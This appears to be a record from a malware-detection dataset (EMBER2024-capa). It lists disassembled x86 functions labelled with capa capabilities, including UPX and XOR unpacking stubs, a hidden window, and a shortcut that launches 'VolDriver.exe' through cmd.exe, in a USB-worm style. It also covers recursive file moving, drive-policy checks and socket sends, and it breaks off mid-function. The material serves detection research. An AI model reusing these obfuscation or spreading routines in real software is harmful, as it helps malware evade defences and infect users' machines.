joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5249f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x51c015
lea edi, [esi - 0x11b015]
push edi
jmp 0x524a0a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x524a11
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x524a00
mov eax, 1
add ebx, ebx
jne 0x524a23
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x524a34
jne 0x524a53
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x524a53
dec eax
add ebx, ebx
jne 0x524a40
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x524a18
add ebx, ebx
jne 0x524a4f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x524aa5
xor ecx, ecx
sub eax, 3
jb 0x524a6b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x524ada
sar eax, 1
mov ebp, eax
jmp 0x524a76
add ebx, ebx
jne 0x524a76
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x524a44
inc ecx
add ebx, ebx
jne 0x524a84
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x524a44
add ebx, ebx
jne 0x524a91
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x524a86
jne 0x524aa2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x524a86
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x524ac4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x524ab6
jmp 0x524a06
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x524ac4
add edi, ecx
jmp 0x524a06
pop esi
mov edi, esi
mov ecx, 0xa86
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x524ae2
cmp byte [edi], 1
jne 0x524ae2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x524ae7
lea edi, [esi + 0x122000]
mov eax, dword [edi]
or eax, eax
je 0x524b56
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x12c74c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x12c808]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x524b14
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x12c810]
or eax, eax
je 0x524b50
mov dword [ebx], eax
add ebx, 4
jmp 0x524b31
call dword [esi + 0x12c80c]
mov ebp, dword [esi + 0x12c814]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x524b8a
sub esp, 0xffffff80
jmp section.UPX0
Function at 0x4019c3
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov eax, dword [esp + 8]
mov dword [0x4040d0], eax
xor eax, eax
mov ebp, esp
mov ecx, 0xa
push eax
dec ecx
jne 0x4019d6
push esp
mov dword [ebp - 0x24], 0x4016fe
mov eax, dword [0x4040d0]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], str.solienty
call dword [sym.imp.USER32.dll_RegisterClassA]
xor eax, eax
push eax
push dword [0x4040d0]
push eax
push eax
push 0x190
push 0x2b2
push 0x640
push 0x9c4
push 0
push str.absent
push str.solienty
push eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x4040d8], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x401a75
mov esi, dword [sym.imp.USER32.dll_TranslateMessage]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea eax, [ebp - 0x1c]
push eax
call esi
lea ecx, [ebp - 0x1c]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x401a56
pop ebp
ret 0x10

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x5d841cc9
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..data_1
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e1d0
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x43ad1c0f
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x404610
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x416690
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0
push 3
push 0
push 0
push connect
push 0x4168c0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x404735
push 0
push 0
push 0
push 2
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40472b
push 0
push 0
push 0
push 4
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x404721
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x10], 0
je 0x404717
cmp dword [ebp - 0x10], 0x100
jae 0x4046ae
jmp 0x404717
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.0040b250
add esp, 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x4046c5
jmp 0x404717
mov edx, dword [ebp - 0x10]
sub edx, 0x100
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [eax + 0xc]
jae 0x4046ea
mov edx, dword [ebp - 0x18]
push edx
call fcn.00408cb0
add esp, 4
jmp 0x404717
push 0
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0xc]
add ecx, 0x100
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x18]
push eax
call fcn.00404500
add esp, 0x10
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x10]
sub edx, dword [ecx + 0xc]
mov dword [ebp - 0x10], edx
jmp 0x40469d
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x404bf0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x41c], ecx
cmp dword [ebp - 0x41c], 2
jb 0x404c65
cmp dword [ebp - 0x41c], 3
jbe 0x404c2c
cmp dword [ebp - 0x41c], 6
je 0x404c2c
jmp 0x404c65
push 0x208
lea edx, [ebp - 0x418]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x404c65
push 4
push str.___
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrCmpNW]
test eax, eax
jne 0x404c65
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x404cd0
Capabilities:
Get disk information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], reloc.WS2_32.dll_bind
mov dword [ebp - 4], reloc.WS2_32.dll_accept
mov dword [ebp - 0x14], 0
jmp 0x404d06
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jae 0x404d76
lea ecx, [ebp - 0x18]
push ecx
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp + edx*4 - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404d74
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 4
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x1c]
push edx
push 0
push 0
push str.NoDrives
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x404d6a
cmp dword [ebp - 0x1c], 0
je 0x404d6a
mov ecx, dword [ebp - 0xc]
or ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x404cfd
mov eax, dword [ebp - 0xc]
not eax
and eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret

Function at 0x404d90
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 8]
push eax
push 0x410328
push 1
push 0
push 0x410338
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jl 0x404e92
cmp dword [ebp - 8], 0
je 0x404e92
push 0x414db4
push 0x414db4
push str._c_start_._s__start_._sVolDriver.exe
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push str._windir_System32cmd.exe
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [eax + 0x50]
call edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [eax + 0x44]
call edx
push 7
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ecx + 0x3c]
call eax
lea ecx, [ebp - 0x218]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [eax + 0x2c]
call edx
lea eax, [ebp - 0xc]
push eax
push 0x410348
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [edx]
call ecx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jl 0x404e84
cmp dword [ebp - 0xc], 0
je 0x404e84
push 1
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ecx + 0x18]
call eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [edx + 8]
call ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [eax + 8]
call edx
mov esp, ebp
pop ebp
ret
Function at 0x404ea0
Capabilities:
Create directory
Delete directory
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x870
push 0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [ebp + 8]
push ecx
push 0x411618
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x458]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x45c], eax
cmp dword [ebp - 0x45c], 0xffffffff
je 0x404fcf
push 0x411624
lea edx, [ebp - 0x42c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x404f21
push 0x411628
lea eax, [ebp - 0x42c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x404f23
jmp 0x404f9c
lea ecx, [ebp - 0x42c]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x411630
lea eax, [ebp - 0x668]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x42c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 0x41163c
lea eax, [ebp - 0x870]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov ecx, dword [ebp - 0x458]
and ecx, 0x10
je 0x404f86
lea edx, [ebp - 0x870]
push edx
lea eax, [ebp - 0x668]
push eax
call fcn.00404ea0
add esp, 8
jmp 0x404f9c
push 9
lea ecx, [ebp - 0x870]
push ecx
lea edx, [ebp - 0x668]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea eax, [ebp - 0x458]
push eax
mov ecx, dword [ebp - 0x45c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404ef5
mov edx, dword [ebp - 0x45c]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov esp, ebp
pop ebp
ret
Function at 0x405cb0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
add eax, 1
push eax
call fcn.00408b60
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x405d07
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
call sub.ntdll.dll_memcpy
add esp, 0xc
mov ecx, dword [ebp - 4]
add ecx, dword [ebp + 0x10]
mov byte [ecx], 0
push 0
push 0
mov edx, dword [ebp - 4]
push edx
push 0x405c10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x409580
Capabilities:
Get local ipv4 addresses
Get socket information
Resolve function by parsing pe exports

Disassembly:
cmp byte [eax + 0x1c], 0x18
je 0x409588
add dl, byte [esi + 0x8408bad]
xchg esi, eax
lodsd eax, dword [esi]
mov eax, dword [eax + 8]
push eax
call fcn.004073c4
xor byte [eax], ah
jnp 0x409585
mov edi, eax
mov eax, dword [edi + 0x3c]
mov edx, dword [edi + eax + 0x78]
add edx, edi
mov ecx, dword [edx + 0x18]
mov ebx, dword [edx + 0x20]
add ebx, edi
call fcn.004073c4
mov al, byte [0x49085495]
dec ecx
mov esi, dword [ebx + ecx*4]
add esi, edi
mov eax, 0x50746547
cmp dword [esi], eax
jne 0x4095b1
mov eax, 0x41636f72
cmp dword [esi + 4], eax
jne 0x4095b1
call fcn.004073c4
jne 0x40959a
cmpsb byte [esi], byte es:[edi]
invalid

Function at 0x4096a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [0x417124], 0
jne 0x4096b4
jmp 0x40978c
mov eax, dword [0x417124]
shl eax, 3
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.00408b60
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40978c
mov dword [ebp - 0x10], 0
jmp 0x4096ea
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
cmp eax, dword [0x417124]
jae 0x409724
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx*4 + 0x417128]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
mov edx, dword [edx + 4]
mov dword [ecx + eax*8], edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax*4 + 0x417128]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
mov ecx, dword [ecx + 8]
mov dword [eax + edx*8 + 4], ecx
jmp 0x4096e1
push 0
push 2
push 2
push 0
push 0
push 0x40000000
push 0x416ee0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x409773
push 0
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3d
push 0x4143b4
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov edx, dword [ebp - 4]
push edx
call fcn.00408cb0
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x4097b0
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov byte [ebp - 0x101], 0
push 0x100
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
je 0x409847
lea ecx, [ebp - 0x100]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
je 0x409847
mov dword [ebp - 0x10c], 0
jmp 0x40980e
mov edx, dword [ebp - 0x10c]
add edx, 1
mov dword [ebp - 0x10c], edx
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x10c]
cmp dword [ecx + edx*4], 0
je 0x409847
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x10c]
mov eax, dword [ecx + edx*4]
mov ecx, dword [eax]
cmp ecx, dword [ebp + 8]
jne 0x409845
mov byte [ebp - 0x101], 1
jmp 0x409847
jmp 0x4097ff
mov al, byte [ebp - 0x101]
mov esp, ebp
pop ebp
ret

Function at 0x409d80
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push 0x4170ec
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [ebp - 8], 0
jmp 0x409da3
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x200
jae 0x409dc9
push 0
call fcn.0040bea0
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx*4 + 0x4143b8]
push edx
call fcn.00409a70
add esp, 0xc
jmp 0x409d9a
push 0
push 0
push 3
push 0
push 0
push connect
push 0x416ee0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x409eb2
push 0
push 0
push 0
push 2
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x409ea8
push 0
push 0
push 0
push 4
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x409e9e
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
jmp 0x409e5d
mov eax, dword [ebp - 0x18]
add eax, 8
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 0x14]
jae 0x409e94
cmp dword [ebp - 0x1c], 0x200
jae 0x409e94
push 0
call fcn.0040bea0
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x10]
sub eax, dword [edx + ecx*8 + 4]
push eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + eax*8]
push edx
call fcn.00409a70
add esp, 0xc
jmp 0x409e4b
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00409790
push 0
push 0
push 0
push 0x409660
push 0
mov eax, dword [0x417108]
push eax
call fcn.0040bbe0
add esp, 0x18
mov esp, ebp
pop ebp
ret
Function at 0x40dc10
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov ecx, dword [ebp + 8]
push ebx
push esi
mov esi, eax
xor al, al
push edi
mov byte [esp + 0x13], al
test ecx, ecx
je 0x40dd2a
cmp dword [ecx], 0x756470
jne 0x40dd2a
cmp dword [ebp + 0xc], 0
je 0x40dd2a
test esi, esi
je 0x40dd2a
lea edi, [esi + 4]
push edi
call fcn.00408b60
mov ebx, eax
mov eax, dword [ebp + 0xc]
push esi
push eax
lea ecx, [ebx + 4]
push ecx
mov dword [esp + 0x24], ebx
mov dword [ebx], esi
call sub.ntdll.dll_memcpy
xor eax, eax
mov dword [esp + 0x2a], eax
mov dword [esp + 0x2e], eax
mov dword [esp + 0x32], eax
mov word [esp + 0x36], ax
mov eax, dword [ebp + 0x14]
add esp, 0x10
mov edx, 2
push eax
mov word [esp + 0x1c], dx
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [ebp + 0x10]
mov word [esp + 0x1a], ax
mov dword [esp + 0x1c], ecx
test edi, edi
je 0x40dd00
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
push 0x10
lea edx, [esp + 0x1c]
push edx
push 0
push edi
push ebx
push ecx
call dword [sym.imp.WS2_32.dll_sendto]
mov esi, eax
cmp esi, 0xffffffff
je 0x40dcf8
mov edx, dword [ebp + 8]
push esi
add edx, 0x1c
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
sub edi, esi
add ebx, esi
test edi, edi
jne 0x40dca6
mov ebx, dword [esp + 0x14]
push ebx
mov byte [esp + 0x17], 1
call fcn.00408cb0
mov al, byte [esp + 0x17]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test edi, edi
jne 0x40dd19
mov ebx, dword [esp + 0x14]
push ebx
mov byte [esp + 0x17], 1
call fcn.00408cb0
mov al, byte [esp + 0x17]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [esp + 0x14]
push ebx
call fcn.00408cb0
mov al, byte [esp + 0x17]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40e600
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_WSASend]
push ebp
mov ebp, dword [esp + 0xc]
mov ecx, dword [ebp + 0x260]
push edi
push 0
push esi
push 0
lea eax, [esp + 0x1c]
push eax
push 1
lea edi, [esi + 0x1c]
push edi
push ecx
mov dword [esp + 0x2c], 0
call ebx
test eax, eax
je 0x40e670
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x3e5
je 0x40e670
cmp eax, 0x2733
jne 0x40e676
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 0x260]
push 0
push esi
push 0
lea edx, [esp + 0x1c]
push edx
push 1
push edi
push eax
mov dword [esp + 0x2c], 0
call ebx
test eax, eax
jne 0x40e632
pop edi
pop ebp
mov al, 1
pop ebx
ret
pop edi
pop ebp
xor al, al
pop ebx
ret
Function at 0x40e770
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 8
mov edx, dword [esi + 0x260]
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_WSARecv]
push ebp
push edi
xor eax, eax
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
lea edi, [esi + 0x208]
push edi
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x1c]
push ecx
push 1
lea ebp, [esi + 0x224]
push ebp
push edx
call ebx
test eax, eax
je 0x40e7f2
mov edi, edi
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x3e5
je 0x40e7f2
cmp eax, 0x2733
jne 0x40e7fb
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esi + 0x260]
xor eax, eax
push eax
push edi
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], eax
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x1c]
push ecx
push 1
push ebp
push edx
call ebx
test eax, eax
jne 0x40e7b0
pop edi
pop ebp
mov al, 1
pop ebx
add esp, 8
ret
pop edi
pop ebp
xor al, al
pop ebx
add esp, 8
ret
Function at 0x10120f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xc000]
push edi
jmp 0x101210a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1012111
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1012100
mov eax, 1
add ebx, ebx
jne 0x1012123
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1012118
jne 0x1012134
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1012118
xor ecx, ecx
sub eax, 3
jb 0x1012148
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x10121ba
mov ebp, eax
add ebx, ebx
jne 0x1012153
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x1012160
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x1012184
inc ecx
add ebx, ebx
jne 0x1012170
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x1012165
jne 0x1012181
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1012165
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x10121a4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x1012195
jmp 0x1012106
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x10121a4
add edi, ecx
jmp 0x1012106
pop esi
lea edi, [esi + 0x10000]
mov eax, dword [edi]
or eax, eax
je 0x1012203
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x12424]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x124d4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x10121c1
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x124dc]
or eax, eax
je 0x10121fd
mov dword [ebx], eax
add ebx, 4
jmp 0x10121de
call dword [esi + 0x124d8]
mov ebp, dword [esi + 0x124e0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
